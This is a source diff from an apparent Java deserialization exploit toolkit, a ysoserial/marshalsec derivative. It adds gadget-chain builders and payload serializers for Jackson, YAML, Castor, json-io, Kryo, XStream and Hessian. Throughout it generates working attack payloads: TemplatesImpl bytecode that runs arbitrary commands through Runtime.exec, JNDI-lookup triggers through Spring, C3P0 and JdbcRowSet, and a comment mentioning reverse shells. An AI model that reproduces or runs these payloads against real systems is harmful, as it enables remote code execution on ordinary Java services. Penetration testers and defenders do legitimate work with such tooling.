import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.support.DefaultListableBeanFactory;
import org.springframework.beans.factory.support.RootBeanDefinition;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.lang.reflect.InvocationTargetException;
import java.util.HashSet;
import java.util.Map;
/**
* @author mbechler
*
*/
public final class SpringUtil {
/**
*
*/
private SpringUtil() {}
public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
return bf;
}
public static BeanFactory makeMethodTrigger ( Object o, String method ) throws Exception {
DefaultListableBeanFactory bf = new DefaultListableBeanFactory();
RootBeanDefinition caller = new RootBeanDefinition();
caller.setFactoryBeanName("obj");
caller.setFactoryMethodName(method);
Reflections.setFieldValue(caller.getMethodOverrides(), "overrides", new HashSet<>());
bf.registerBeanDefinition("caller", caller);
Reflections.getField(DefaultListableBeanFactory.class, "beanClassLoader").set(bf, null);
Reflections.getField(DefaultListableBeanFactory.class, "alreadyCreated").set(bf, new HashSet<>());
Reflections.getField(DefaultListableBeanFactory.class, "singletonsCurrentlyInCreation").set(bf, new HashSet<>());
Reflections.getField(DefaultListableBeanFactory.class, "inCreationCheckExclusions").set(bf, new HashSet<>());
Reflections.getField(DefaultListableBeanFactory.class, "logger").set(bf, new NoOpLog());
Reflections.getField(DefaultListableBeanFactory.class, "prototypesCurrentlyInCreation").set(bf, new ThreadLocal<>());
@SuppressWarnings ( "unchecked" )
Map<String, Object> objs = (Map<String, Object>) Reflections.getFieldValue(bf, "singletonObjects");
objs.put("obj", o);
return bf;
}
public static Object makeBeanFactoryTriggerBFPA ( UtilFactory uf, String name, BeanFactory bf ) throws Exception {
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
pcadv.setBeanFactory(bf);
pcadv.setAdviceBeanName(name);
return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor());
}
/**
* @param jndiUrl
* @param bf
* @return
* @throws ClassNotFoundException
* @throws NoSuchMethodException
* @throws InstantiationException
* @throws IllegalAccessException
* @throws InvocationTargetException
* @throws Exception
*/
public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException,
NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", name);
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
// make readObject happy if it is called
Reflections.setFieldValue(advice, "declaringClass", Object.class);
Reflections.setFieldValue(advice, "methodName", "toString");
Reflections.setFieldValue(advice, "parameterTypes", new Class[0]);
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);
Class<?> pcahCl = Class
.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);
return uf.makeToStringTriggerUnstable(pcah);
}
}
@@ -0,0 +1,110 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.ClassFiles;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.Serializable;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
public class TemplatesUtil {
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
// for RMI remote loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
@Override
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static Object createTemplatesImpl ( final String[] args ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("upstreamXalan", "false")) ) {
return createTemplatesImpl(
args,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl ( final String[] args, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
StringBuilder sb = new StringBuilder();
boolean first = true;
for ( String arg : args ) {
if ( !first ) {
sb.append(',');
}
else {
first = false;
}
sb.append('"');
sb.append(arg.replaceAll("\"", "\\\""));
sb.append('"');
}
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb.toString() + " });");
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
}
@@ -0,0 +1,79 @@
package com.qi4l.JYso.gadgets;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.function.Function;
public class ToStringUtil {
public static Object makeToStringTrigger ( Object o, Function<Object, Object> wrap ) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString));
}
public static Object makeToStringTrigger ( Object o ) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(o, xString);
}
public static Object makeJohnzonToStringTrigger ( Object o ) throws Exception {
Class<?> clz = Class.forName("org.apache.johnzon.core.JsonObjectImpl"); //$NON-NLS-1$
Constructor<?> dec = clz.getDeclaredConstructor(Map.class);
dec.setAccessible(true);
HashMap<Object, Object> m = new HashMap<>();
Object jo = dec.newInstance(m);
m.put(o, o);
XString toStringTrig = new XString("");
return Arrays.asList(jo, JDKUtil.makeMap(jo, toStringTrig));
}
public static Object makeSpringAOPToStringTrigger ( Object o ) throws Exception {
return makeToStringTrigger(o, x -> {
return new HotSwappableTargetSource(x);
});
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
}
@@ -0,0 +1,31 @@
package com.qi4l.JYso.gadgets;
import java.util.Comparator;
public class UtilFactory {
// 实现接口中的所有方法
public Object makeHashCodeTrigger(Object o1) throws Exception {
return JDKUtil.makeMap(o1, o1);
}
public Object makeEqualsTrigger(Object tgt, Object sameHash) throws Exception {
return JDKUtil.makeMap(tgt, sameHash);
}
public Object makeToStringTriggerUnstable ( Object obj ) throws Exception {
return ToStringUtil.makeSpringAOPToStringTrigger(obj);
}
public Object makeToStringTriggerStable(Object obj) throws Exception {
return ToStringUtil.makeToStringTrigger(obj);
}
public Object makeIteratorTrigger(Object it) throws Exception {
return JDKUtil.makeIteratorTriggerNative(this, it);
}
public Object makeComparatorTrigger(Object tgt, Comparator<?> cmp) throws Exception {
return JDKUtil.makeTreeMap(tgt, cmp);
}
}
@@ -0,0 +1,24 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding;
import org.apache.xbean.naming.context.WritableContext;
import javax.naming.Context;
import javax.naming.Reference;
import java.net.URI;
public class Xbean implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
//需要处理command
UtilFactory uf = new UtilFactory();
Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
Reference ref = new Reference("foo", args[1], args[0]);
ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx);
return uf.makeToStringTriggerUnstable(binding); // $NON-NLS-1$
}
}
@@ -337,4 +337,4 @@ public class Gadgets extends ClassLoader {
Reflections.setFieldValue(hashMap, "table", arr);
return hashMap;
}
}
}
@@ -1,21 +1,37 @@
package com.qi4l.JYso.gadgets.utils;
import com.caucho.hessian.io.*;
import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream;
import com.thoughtworks.xstream.XStream;
import java.util.Base64;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import com.caucho.hessian.io.*;
import com.cedarsoftware.util.io.JsonWriter;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Output;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.*;
import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import com.thoughtworks.xstream.XStream;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.beans.factory.config.PropertyPathFactoryBean;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.*;
import java.util.concurrent.Callable;
import javax.xml.transform.Templates;
import static com.qi4l.JYso.gadgets.Config.Config.*;
public class Serializer implements Callable<byte[]> {
private final Object object;
public static Boolean globalinline = false;
public Serializer(Object object) {
this.object = object;
}
@@ -35,12 +51,15 @@ public class Serializer implements Callable<byte[]> {
return bytes;
}
public static void qiserialize(Object obj, final OutputStream out) throws Exception {
public static void qiserialize(Object obj, final OutputStream out,String payloadType,String Command) throws Exception {
ObjectOutputStream objOut = null;
AbstractHessianOutput AobjOut = null;
ByteArrayOutputStream outB64 = new ByteArrayOutputStream();
ByteArrayOutputStream outB64 = new ByteArrayOutputStream();
if (IS_UTF_Bypass) {
if (IS_DIRTY_IN_TC_RESET) {
objOut = new SuObjectOutputStream(out);
} else if (IS_UTF_Bypass) {
if (BASE64) {
objOut = new UTF8OverlongObjectOutputStream(outB64);
} else {
@@ -66,9 +85,55 @@ public class Serializer implements Callable<byte[]> {
AobjOut.setSerializerFactory(sf);
AobjOut.writeObject(obj);
AobjOut.close();
} else if (IS_XSTREAM) {
xStreamSerialize(obj);
} else {
} else if (IS_Xstream) {
XStream xstream = new XStream();
String xml = xstream.toXML(obj);
System.out.println(xml);
} else if (IS_Kryo) {
Kryo kryo = new Kryo();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try (Output output = new Output(bos)) {
kryo.writeClassAndObject(output, obj);
}
if(BASE64){
String base64String = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(base64String);
return;
}else{
System.out.println(bos);
return;
}
} else if (IS_JsonIO){
if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) {
UtilFactory uf = new UtilFactory();
obj = SpringUtil.makeBeanFactoryTriggerBFPA(uf, "caller", SpringUtil.makeMethodTrigger(new ProcessBuilder(Command), "start"));
System.out.println(obj);
return;
}else if (payloadType.equals("Rome")){
obj = makeRome(Command);
System.out.println(obj);
return;
}
String jsonio = JsonWriter.objectToJson(obj);
System.out.println(jsonio);
return;
} else if (IS_YamlBeans){
obj = YamlBeansHandler(payloadType,Command);
System.out.println(obj);
return;
} else if (IS_JYAML) {
String payload = JYamlHandler(payloadType,Command);
System.out.println(payload);
return;
} else if (IS_Castor) {
obj = CastorHandler(payloadType,Command);
System.out.println(obj);
return;
}else if (IS_Jackson){
obj = JacksonHandler(payloadType,Command);
System.out.println(obj);
return;
}else {
if (BASE64) {
objOut = new SuObjectOutputStream(outB64);
} else {
@@ -78,8 +143,6 @@ public class Serializer implements Callable<byte[]> {
if (IS_Hessian1 || IS_Hessian2) {
AobjOut.writeObject(obj);
} else if (IS_XSTREAM){
return;
} else {
objOut.writeObject(obj);
}
@@ -88,19 +151,127 @@ public class Serializer implements Callable<byte[]> {
String encodedString = Base64.getEncoder().encodeToString(outB64.toByteArray());
System.out.println(encodedString);
}
}
public byte[] call() throws Exception {
return serialize(object);
}
public static void xStreamSerialize(Object payload) {
XStream xstream = new XStream();
String xml = xstream.toXML(payload);
System.out.println(xml);
public static Object makeRome(String Command) throws Exception {
UtilFactory uf = new UtilFactory();
String args[] = {Command};
Object tpl = TemplatesUtil.createTemplatesImpl(args);
Object obj1 = makeROMEAllPropertyTrigger(uf, Templates.class, (Templates) tpl);
String marshalled = JsonWriter.objectToJson(obj1);
// add the transient _tfactory field
marshalled = marshalled.replace(
"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",",
"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_tfactory\""
+ ": {\"@type\" : \"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"},");
return marshalled;
}
public static <T> Object makeROMEAllPropertyTrigger(UtilFactory uf, Class<T> type, T obj) throws Exception {
ToStringBean item = new ToStringBean(type, obj);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
return uf.makeHashCodeTrigger(root);
}
public static Object YamlBeansHandler(String payloadType, String command ) throws IOException, URISyntaxException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
globalinline = true;
if(payloadType.equals("C3P0WrapperConnPool")) {
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return writeObject(
WrapperConnectionPoolDataSource.class,
Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1]))));
}else{
return null;
}
}
public static Object JacksonHandler(String payloadType, String command) throws Exception {
if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")){
String jndiUrl = command;
Map<String, String> values = new LinkedHashMap<>();
values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl));
values.put("adviceBeanName", quoteString(jndiUrl));
return writeCollection(
HashSet.class.getName(),
writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, values),
writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, Collections.EMPTY_MAP));
}else if (payloadType.equals("C3P0WrapperConnPool")){
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return writeJackJsonObject(
WrapperConnectionPoolDataSource.class,
Collections.singletonMap("userOverridesAsString", quoteString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ]))));
}else if (payloadType.equals("SpringPropertyPathFactory")){
Map<String, String> values = new LinkedHashMap<>();
String jndiUrl = command;
values.put("targetBeanName", quoteString(jndiUrl));
values.put("propertyPath", quoteString("foo"));
values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl));
return writeJackJsonObject(PropertyPathFactoryBean.class, values);
}else if (payloadType.equals("JdbcRowSet")){
Map<String, String> values = new LinkedHashMap<>();
values.put("dataSourceName", quoteString(command));
values.put("autoCommit", "true");
return writeJackJsonObject(JdbcRowSetImpl.class, values);
}else if (payloadType.equals("C3P0RefDataSource")){
Map<String, String> values = new LinkedHashMap<>();
values.put("jndiName", quoteString(command));
values.put("loginTimeout", "0");
return writeJackJsonObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", values);
}else{
return null;
}
}
public static String JYamlHandler(String payloadType, String command) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
if (payloadType.equals("JdbcRowSet")) {
Map<String, String> properties = new LinkedHashMap<>();
properties.put("dataSourceName", writeString(command));
properties.put("autoCommit", "true");
return writeObject(JdbcRowSetImpl.class, properties);
} else if (payloadType.equals("C3P0WrapperConnPool")) {
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return writeObject(
WrapperConnectionPoolDataSource.class,
Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ]))));
} else if (payloadType.equals("C3P0RefDataSource")) {
Map<String, String> props = new LinkedHashMap<>();
props.put("jndiName", writeString(command));
props.put("loginTimeout", "0");
return writeObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", props);
}
else {
return null;
}
}
public static Object CastorHandler(String payloadType, String command) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")){
String jndiName = command;
return "<x xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
+ "xmlns:java=\"http://java.sun.com\" xsi:type=\"java:org.springframework.beans.factory.config.PropertyPathFactoryBean\">"
+ "<target-bean-name>" + jndiName + "</target-bean-name><property-path>foo</property-path>"
+ "<bean-factory xsi:type=\"java:org.springframework.jndi.support.SimpleJndiBeanFactory\">" + "<shareable-resource>" + jndiName
+ "</shareable-resource></bean-factory></x>";
}else if (payloadType.equals("C3P0WrapperConnPool")){
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return "<x xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
+ "xmlns:java=\"http://java.sun.com\" xsi:type=\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\" "
+ "user-overrides-as-string=\"" + C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ]) + "\"/>";
}else{
return null;
}
}
public static class SuObjectOutputStream extends ObjectOutputStream {
public SuObjectOutputStream(OutputStream out) throws IOException {
@@ -129,7 +300,7 @@ public class Serializer implements Callable<byte[]> {
* @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
*/
@Override
public com.caucho.hessian.io.Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
public com.caucho.hessian.io.Serializer getObjectSerializer (Class<?> cl ) throws HessianProtocolException {
return super.getObjectSerializer(cl);
}
@@ -139,14 +310,141 @@ public class Serializer implements Callable<byte[]> {
* @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
*/
@Override
public com.caucho.hessian.io.Serializer getSerializer(Class cl) throws HessianProtocolException {
public com.caucho.hessian.io.Serializer getSerializer (Class cl ) throws HessianProtocolException {
com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl);
if (serializer instanceof WriteReplaceSerializer) {
if ( serializer instanceof WriteReplaceSerializer ) {
return UnsafeSerializer.create(cl);
}
return serializer;
}
}
}
protected static String writeObject(Class<?> clazz, Map<String, String> properties, String... consArgs) {
return writeObject(clazz.getName(), properties, consArgs);
}
protected static String writeObject(String clazz, Map<String, String> properties, String... consArgs) {
return writeObject(clazz, properties, 0, consArgs);
}
protected static String writeObject(Class<?> clazz, Map<String, String> properties, int level, String... consArgs) {
return writeObject(clazz.getName(), properties, level, consArgs);
}
protected static String writeObject(String clazz, Map<String, String> properties, int level, String... consArgs) {
StringBuilder sb = new StringBuilder();
sb.append(writeConstructor(clazz, globalinline, consArgs));
if (!properties.isEmpty()) {
int indent = (level + 1) * 2;
for (Map.Entry<String, String> prop : properties.entrySet()) {
sb.append('\n');
for (int i = 0; i < indent; i++) {
sb.append(' ');
}
sb.append(prop.getKey());
sb.append(':').append(' ');
sb.append(prop.getValue());
}
}
return sb.toString();
}
protected static String writeConstructor(Class<?> clazz, boolean inline, String... args) {
return writeConstructor(clazz.getName(), inline, args);
}
protected static String writeConstructor(String clazz, boolean inline, String... args) {
StringBuilder sb = new StringBuilder();
sb.append(constructorPrefix(inline));
sb.append(clazz);
return sb.toString();
}
protected static String constructorPrefix ( boolean inline ) {
if ( !inline ) {
return "foo: !";
}
return "!";
}
public static String writeString(String string) {
return '"' + string + '"';
}
public static String writeJackJsonObject( Class<?> clazz, Map<String, String> values ) {
return writeJackJsonObject(clazz.getName(), values);
}
public static String writeJackJsonObject ( String type, Map<String, String> properties ) {
StringBuilder sb = new StringBuilder();
sb.append('[');
sb.append('"').append(type).append('"');
sb.append(',');
sb.append('{');
boolean first = true;
for ( Map.Entry<String, String> e : properties.entrySet() ) {
if ( !first ) {
sb.append(',');
}
else {
first = false;
}
writeProperty(sb, e.getKey(), e.getValue());
}
sb.append('}');
sb.append(']');
return sb.toString();
}
public static void writeProperty ( StringBuilder sb, String key, String value ) {
sb.append('"').append(key).append('"');
sb.append(':');
sb.append(value);
}
public static String writeCollection ( String type, String... values ) {
StringBuilder sb = new StringBuilder();
sb.append('[');
sb.append('"').append(type).append('"');
sb.append(',');
arrayHandler(sb, values);
sb.append(']');
return sb.toString();
}
public static void arrayHandler(StringBuilder sb, String[] values) {
sb.append('[');
boolean first = true;
for ( String val : values ) {
if ( !first ) {
sb.append(',');
}
else {
first = false;
}
sb.append(val);
}
sb.append(']');
}
public static String makeSpringJndiBeanFactory ( String jndiUrl ) {
return writeJackJsonObject(SimpleJndiBeanFactory.class, Collections.singletonMap("shareableResources", writeArray(quoteString(jndiUrl))));
}
public static String quoteString ( String string ) {
return '"' + string + '"';
}
public static String writeArray ( String... elements ) {
StringBuilder sb = new StringBuilder();
arrayHandler(sb, elements);
return sb.toString();
}
}